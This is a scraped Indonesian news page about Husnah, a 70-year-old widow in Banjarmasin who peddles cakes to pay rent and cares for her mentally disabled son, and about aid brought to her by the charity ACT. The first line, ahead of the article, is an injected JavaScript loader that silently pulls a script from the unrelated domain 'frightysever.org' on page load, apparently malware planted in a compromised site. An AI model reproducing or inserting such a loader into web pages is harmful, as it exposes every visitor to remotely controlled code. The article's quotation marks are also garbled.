(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Menjalani hidup di usia senja masih menjadi perjuangan berat bagi sebagian masyarakat di Indonesia. Husnah contohnya. Janda berusia 70 tahun itu masih harus bekerja keras untuk bisa bertahan hidup di Kota Banjarmasin, Kalimantan Selatan. Tinggal di sebuah kontrakan di Jalan Kelayan A, Husnah sehari-hari berkeliling menjajakan kue hingga ke Pasar Antasari. Jarak yang ditempuh mencapai 1,5 km. Kue-kue yang Ia jual pun bukan buatan dia sendiri melainkan buatan orang lain. Ia hanya mengambil upah dari kue yang terjual.
“Rancak ae sakit batisku nih, tapi ya kayapa lagi mun kada bejaja kada kawa bayar kontrakan (sering sakit kaki Saya, tapi mau bagaimana lagi kalau tidak menjaja kue tidak bisa bayar kontrakan),†demikian Husnah berucap sembari mengelus betisnya.
Selama 30 tahun tinggal di Kota Banjarmasin, Husnah pernah menumpang di dapur sebuah rumah. Namun, dua tahun terakhir Ia terpaksa tinggal di kontrakan karena rumah tersebut dijual pemiliknya. Sebuah rumah kayu berukuran 2×6 di Gang Arafah 4 Kelayan A menjadi satu-satunya pilihan bagi Husnah. Kondisi rumah sudah cukup tua. Terlihat di beberapa bagian rumah sudah mulai lapuk.
Rumah itu juga hanya diterangi dengan satu bohlam lampu. “Lumayan untuk menghemat listrik,†terang Husnah. Di bagian dapur terdapat sebuah tungku dapur. Artinya untuk memasak, Husnah hanya menggunakan kayu bakar.
Husnah juga harus menghidupi anaknya yang mengalami difabel mental. Bani, lelaki berusia 30 tahun yang sudah beberapa kali dirawat di Rumah Sakit Jiwa (RSJ). Ketiadaan biaya dan tenaga membuat Husnah tak bisa banyak berbuat untuk Bani. Beruntung, gangguan yang dialami anaknya itu masih bisa terkendali. “Anaknya sering main ke pasar, tapi tidak mengganggu orang lain kok, Saya hanya bisa mendoakannya,†mata Husnah tampak berkaca kala bercerita soal anaknya.
Tak ada pilihan bagi Husnah selain terus berjuang sendirian. Sanak keluarga yang masih ada pun nasibnya tak jauh beda.
Meski dalam kondisi ekonomi yang sulit, Husnah tak ingin mengemis. Keyakinan akan kejaiban rezeki begitu kuat tertanam di jiwanya. “Meski tua begini pantang untuk meminta-minta, Alhamdulillah Allah menggerakan orang-orang baik untuk membantu saya,†tutur Husnah.
Seperti pagi itu, Kamis (21/2) tim Mobile Social Rescue (MSR) Aksi Cepat Tanggap (ACT) Kalimantan Selatan datang menyampaikan bantuan untuk Husnah. Koordinator Program Muhammad Budi Rahman menjelaskan bahwa bantuan yang diberikan merupakan amanah donatur yang dititipkan melalui ACT. “Ibu Husnah adalah sosok yang perlu dibantu karena meski sudah lanjut usia namun semangat dan prinsip hidupnya luar biasa, layak diapresiasi. Semoga bantuan ini bisa meringankan beban beliau,†ujar Budi.
Sosok Husnah mungkin hanya sekian dari banyaknya lansia yang bernasib serupa. Ikhtiar ACT melalui program MSR semoga menjadi salah satu jawaban untuk persoalan seperti ini. Tentu ACT memerlukan dukungan dari para dermawan karena persoalan kemanusiaan akan lebih mudah jika ditangani bersama-sama. (retno/ACT Kalsel)
KANALKALIMANTAN.COM, JAKARTA - Pemerintah secara resmi menetapkan tarif baru untuk biaya pembuatan paspor yang mulai… Read More
KANALKALIMANTAN. COM, PARINGIN - Sebanyak 21 Lansia terdiri 19 wisudawati dan dua wisudawan, mengikuti wisuda… Read More
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
This website uses cookies.